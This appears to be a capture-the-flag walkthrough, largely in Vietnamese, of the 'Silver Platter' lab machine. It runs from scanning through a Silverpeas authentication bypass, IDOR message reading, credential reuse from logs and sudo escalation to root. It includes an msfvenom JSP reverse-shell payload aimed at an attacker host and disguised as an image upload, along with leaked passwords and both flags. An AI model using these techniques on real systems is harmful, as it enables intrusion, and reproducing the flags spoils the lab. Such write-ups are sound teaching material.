Silver Platter
Can you breach the server?
Initial Reconnaissance
Service Scanning
┌──(kali㉿kali)-[~/Documents]
└─$ rustscan -a silverplatter.thm -r 1-65535 -- -sV -sC
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6b:f8:01:9c:92:73:1c:ae:da:ed:4a:ef:c7:c2:25:bf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGE/twPxwVVYqIzN2rW1YQ690eMDEJgznJFj59TvZJzmSw7/j21xuBW7IfpoA6HElOpI5XhUhk2JUdduG+5nmq0=
| 256 4a:c4:e8:28:7f:e7:e9:a5:65:f8:52:3a:28:4e:69:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIeGFd+eunw6fAG05JRPkxLh3ckRZevm29diRV+ShoWk
80/tcp open http syn-ack ttl 60 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Hack Smarter Security
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy syn-ack ttl 59
|_http-title: Error
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Fri, 22 Aug 2025 07:41:02 GMT
| <html><head><title>Error</title></head><body>404 - Not Found</body></html>
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Fri, 22 Aug 2025 07:40:59 GMT
| <html><head><title>Error</title></head><body>404 - Not Found</body></html>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Fri, 22 Aug 2025 07:41:00 GMT
|_ <html><head><title>Error</title></head><body>404 - Not Found</body></html>Kết quả Nmap scan cho thấy có 3 port mở: 22 (SSH), 80 (HTTP) và 8080 (HTTP-proxy). Phiên bản SSH cho thấy hệ điều hành nền là Ubuntu. Ngoài ra, webserver chạy ứng dụng nginx 1.18.0 (không có exploit công khai nào), còn HTTP proxy server thì chỉ trả về lỗi 404, có lẽ website phía sau proxy này không được phục vụ trong thư mục gốc /.
SSH 22

Dịch vụ SSH bật chế độ password authentication, vì vậy chúng ta nên tìm kiếm bất kỳ plain-text password nào.
HTTP 80

Trong phần thông tin contact, ta biết rằng project manager dường như đang sử dụng Silverpeas, và username của anh ta là scr1ptkiddy.

Silverpeas là một phần mềm intranet (mạng nội bộ) mã nguồn mở. Giúp phân phối, trao đổi, lưu trữ và tìm kiếm thông tin trong tổ chức.
Khi kiểm tra source code, ta phát hiện một nút ẩn.

Ta intercept và chỉnh sửa response để hiển thị nút ẩn này sử dụng Burp Suite:




Tuy nhiên, khi bấm vào, không có gì đặc biệt cả.
Subdomain Enumeration
Chúng ta scan subdomain bằng ffuf:
ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.201.47.158 -H "Host: FUZZ.silverplatter.thm" -mc 200,301,302 -r -fw 926,1 -t 64
ffuf không phát hiện ra subdomain nào cả.
Directory Enumeration
Tiếp theo chúng ta scan các thư mục và file ẩn trên web:
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://silverplatter.thm/FUZZ -r -e .php,.txt
Chúng ta cũng không tìm được thông tin gì hữu ích cả. Hai thư mục assets và images đều không cho chúng ta quyền truy cập.
Chúng ta biết rằng trước đó trên contact có nhắc đến silverpeas, có thể web server đang chạy phần mềm này. Thư mục mặc định của silverpeas tìm thấy trên Google như sau:

/silverpeas
Tuy nhiên, trên web server này không hề có Silverpeas.

HTTP Proxy 8080
/silverpeas
Có lẽ chúng ta nên thử truy cập thư mục /silverpeas trên HTTP proxy server ở port 8080, và thực tế nó đã redirect chúng ta tới một trang login.

Sau khi tìm kiếm nhanh trên Google, chúng ta biết rằng Silverpeas tồn tại lỗ hổng authentication bypass, mặc dù hiện tại vẫn chưa xác định được phiên bản.


Silverpeas Authentication as scr1ptkiddy
Dù vậy, ta cứ thử kiểm tra lỗ hổng authentication bypass này.


Và nó hoạt động, chúng ta đã truy cập được vào Silverpeas với user scr1pkiddy.

Attempting to Upload Reverse Shell Payload
Tiếp theo, chúng ta dùng msfvenom để tạo payload reverse shell. Ta biết rằng Silverpeas sử dụng JavaServer Page ở phía server, tức là có thể thực thi file .jsp.
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom --list payload | grep jsp
java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.17.21.52 LPORT=4242 -f raw -o sh.jsp
Payload size: 1497 bytes
Saved as: sh.jspAs a Profile Picture
Chúng ta thử upload payload này dưới dạng profile picture.

Tuy nhiên, vì hệ thống chỉ cho phép extension của file ảnh, nên ta phải ngụy trang payload bằng cách thêm đuôi .jpg.



Nhưng khi file được upload, tên file bị đổi thành {user}.jpg, khiến chúng ta không thể thực thi nó.
As a Document
Chúng ta thử upload payload dưới dạng document lần này.



Kết quả là payload không được thực thi, thay vào đó chúng ta chỉ nhận lại source code của payload.
Silverpeas Authentication as SilverAdmin
Vì đã bypass được authentication, chúng ta có thể vào bất cứ tài khoản nào, vậy ta nên kiểm tra xem user admin SilverAdmin có bất kỳ tin nhắn nhạy cảm nào không.

Chúng ta nhận thấy rằng request để lấy message chỉ nhận tham số ID. Có khả năng chúng ta có thể truy cập tin nhắn của user khác mà không cần xác thực (IDOR).
Chúng ta sử dụng Burp Suite Intruder để test lỗ hổng này:


Kết quả là chúng ta tìm thấy một credentials trong tin nhắn có ID bằng 6.
tim:cm0nt!md0ntf0rg3tth!spa$$w0rdagainlolShell as tim
Chúng ta SSH vào target với tài khoản của tim:

user.txt
tim@ip-10-201-40-255:~$ cd ~
tim@ip-10-201-40-255:~$ ls -la
total 12
dr-xr-xr-x 2 root root 4096 Dec 13 2023 .
drwxr-xr-x 6 root root 4096 Jul 21 20:10 ..
-rw-r--r-- 1 root root 38 Dec 13 2023 user.txt
tim@ip-10-201-40-255:~$ cat user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}Sudo Permissions
tim@ip-10-201-40-255:/home$ sudo -l
[sudo] password for tim:
Sorry, user tim may not run sudo on ip-10-201-40-255.tim không có quyền chạy sudo trên target.
Ta thử đổi sang các user khác với su mà không nhập password. Mặc dù khả năng cao là không được nhưng ta cứ thử.
tim@ip-10-201-40-255:/home$ su tyler
Password:
tim@ip-10-201-40-255:/home$ su ssm-user
Password:
tim@ip-10-201-40-255:/home$ su ubuntu
Password:adm Group
Khi chạy lại lệnh id, chúng ta nhận thấy user thuộc group adm, điều này khá bất thường. Ta thử tìm nhanh trên Google để xem group này cung cấp quyền gì.


Kết quả cho thấy khi nằm trong group adm, chúng ta có thể truy cập các log file được lưu trong /var/log.
tim@ip-10-201-40-255:/var/log$ cd /
tim@ip-10-201-40-255:/$ cd /var/log
tim@ip-10-201-40-255:/var/log$ ls -la
total 1996
drwxrwxr-x 11 root syslog 4096 Aug 22 10:03 .
drwxr-xr-x 14 root root 4096 Dec 12 2023 ..
-rw-r--r-- 1 root root 0 May 1 2024 alternatives.log
-rw-r--r-- 1 root root 34877 Dec 12 2023 alternatives.log.1
drwx------ 3 root root 4096 May 8 2024 amazon
drwxr-xr-x 2 root root 4096 Jul 21 20:10 apt
-rw-r----- 1 syslog adm 3881 Aug 22 13:20 auth.log
-rw-r----- 1 syslog adm 10058 Aug 22 10:03 auth.log.1
-rw-r----- 1 syslog adm 32399 Dec 13 2023 auth.log.2
-rw-r----- 1 syslog adm 846 Jul 20 14:27 auth.log.2.gz
-rw-r----- 1 syslog adm 755 May 8 2024 auth.log.3.gz
-rw-r--r-- 1 root root 600 May 8 2024 aws114_ssm_agent_installation.log
-rw-r--r-- 1 root root 64549 Aug 10 2023 bootstrap.log
-rw-rw---- 1 root utmp 1536 Aug 22 13:08 btmp
-rw-rw---- 1 root utmp 384 Jul 20 14:29 btmp.1
-rw-r----- 1 syslog adm 248446 Aug 22 10:04 cloud-init.log
-rw-r----- 1 root adm 31148 Aug 22 13:39 cloud-init-output.log
drwxr-xr-x 2 root root 4096 Aug 2 2023 dist-upgrade
-rw-r----- 1 root adm 44063 Aug 22 10:03 dmesg
-rw-r----- 1 root adm 43567 Jul 21 20:10 dmesg.0
-rw-r----- 1 root adm 13706 Jul 20 17:11 dmesg.1.gz
-rw-r----- 1 root adm 13443 Jul 20 14:27 dmesg.2.gz
-rw-r----- 1 root adm 14012 May 8 2024 dmesg.3.gz
-rw-r----- 1 root adm 14486 May 8 2024 dmesg.4.gz
-rw-r--r-- 1 root root 0 Aug 22 10:03 dpkg.log
-rw-r--r-- 1 root root 13181 Jul 20 17:12 dpkg.log.1
-rw-r--r-- 1 root root 166 May 8 2024 dpkg.log.2.gz
-rw-r--r-- 1 root root 50823 Dec 13 2023 dpkg.log.3.gz
-rw-r--r-- 1 root root 32128 Jul 21 20:10 faillog
drwxr-x--- 4 root adm 4096 Dec 12 2023 installer
drwxr-sr-x+ 3 root systemd-journal 4096 Dec 12 2023 journal
-rw-r----- 1 syslog adm 2470 Aug 22 10:04 kern.log
-rw-r----- 1 syslog adm 185325 Aug 22 10:03 kern.log.1
-rw-r----- 1 syslog adm 40129 Jul 20 14:27 kern.log.2.gz
-rw-r----- 1 syslog adm 27571 May 8 2024 kern.log.3.gz
-rw-r----- 1 syslog adm 82570 Dec 13 2023 kern.log.4.gz
drwxr-xr-x 2 landscape landscape 4096 Dec 12 2023 landscape
-rw-rw-r-- 1 root utmp 293168 Aug 22 13:05 lastlog
drwxr-xr-x 2 root adm 4096 Aug 22 10:03 nginx
drwx------ 2 root root 4096 Aug 10 2023 private
-rw-r----- 1 syslog adm 113828 Aug 22 13:39 syslog
-rw-r----- 1 syslog adm 481907 Aug 22 10:03 syslog.1
-rw-r----- 1 syslog adm 78119 Jul 20 14:27 syslog.2.gz
-rw-r----- 1 syslog adm 47656 May 8 2024 syslog.3.gz
-rw-r----- 1 syslog adm 147601 May 1 2024 syslog.4.gz
-rw-r--r-- 1 root root 0 Aug 22 10:03 ubuntu-advantage.log
-rw-r--r-- 1 root root 3877 Jul 21 20:11 ubuntu-advantage.log.1
-rw-r--r-- 1 root root 1842 Jul 20 17:08 ubuntu-advantage.log.2.gz
drwxr-x--- 2 root adm 4096 Aug 22 10:03 unattended-upgrades
-rw-rw-r-- 1 root utmp 34944 Aug 22 13:05 wtmpVậy thì chúng ta thử grep để tìm bất kỳ username hoặc password nào trong các log này.
tim@ip-10-201-40-255:/var/log$ grep -ir "password" *.log*
auth.log:Aug 22 10:37:01 ip-10-201-40-255 sshd[2201]: Failed password for invalid user scr1ptkiddy from 10.17.21.52 port 47230 ssh2
auth.log:Aug 22 10:37:08 ip-10-201-40-255 sshd[2201]: Failed password for invalid user scr1ptkiddy from 10.17.21.52 port 47230 ssh2
...
auth.log.2:Dec 13 15:40:33 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
auth.log.2:Dec 13 15:44:30 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database sivlerpeas:silverpeas-6.3.1
auth.log.2:Dec 13 15:45:21 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:silverpeas-6.3.1
auth.log.2:Dec 13 15:45:57 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:6.3.1
auth.log.2:Dec 13 16:17:31 silver-platter passwd[6811]: pam_unix(passwd:chauthtok): password changed for tim
auth.log.2:Dec 13 16:18:57 silver-platter sshd[6879]: Accepted password for tyler from 192.168.1.20 port 47772 ssh2
...Chúng ta phát hiện một password, nhưng nó trông giống như password liên quan đến database.
POSTGRES_PASSWORD=_Zd_zx7N823/Shell as tyler
Tuy nhiên, trên target ta chưa hề thấy bất kỳ DBMS nào đang chạy. Vì vậy, trước khi đi sâu kiểm tra database, ta nên thử sử dụng password này để switch sang user khác, bởi vì đôi khi người dùng thường lười thay đổi và tái sử dụng cùng một password ở nhiều nơi.
tim@ip-10-201-40-255:/$ su root
Password:
su: Authentication failure
tim@ip-10-201-40-255:/$ su tyler
Password:
tyler@ip-10-201-40-255:/$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)Và đúng như vậy, password này chính là của user tyler.
Shell as root
Vì tyler thuộc group sudo, nên ta thử chạy sudo.
tyler@ip-10-201-40-255:/$ sudo su
root@ip-10-201-40-255:/# id
uid=0(root) gid=0(root) groups=0(root)Kết quả là user này có thể sudo mà không cần nhập password, và như vậy chúng ta đã thành công leo quyền lên root!
root.txt
root@ip-10-201-40-255:/# cd /root
root@ip-10-201-40-255:~# ls -la
total 52
drwx------ 6 root root 4096 Jul 20 17:14 .
drwxr-xr-x 19 root root 4096 Aug 22 10:03 ..
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Jul 20 17:07 .cache
-rw------- 1 root root 20 Jul 20 17:06 .lesshst
drwxr-xr-x 3 root root 4096 Dec 13 2023 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 38 Dec 13 2023 root.txt
-rw-r--r-- 1 root root 66 Dec 13 2023 .selected_editor
drwx------ 3 root root 4096 Dec 12 2023 snap
drwx------ 2 root root 4096 Jul 20 17:06 .ssh
-rwxr-xr-x 1 root root 97 Dec 13 2023 start_docker_containers.sh
-rw-r--r-- 1 root root 0 Dec 13 2023 .sudo_as_admin_successful
-rw------- 1 root root 1309 Jul 20 17:14 .viminfo
root@ip-10-201-40-255:~# cat root.txt
THM{098f6bcd4621d373cade4e832627b4f6}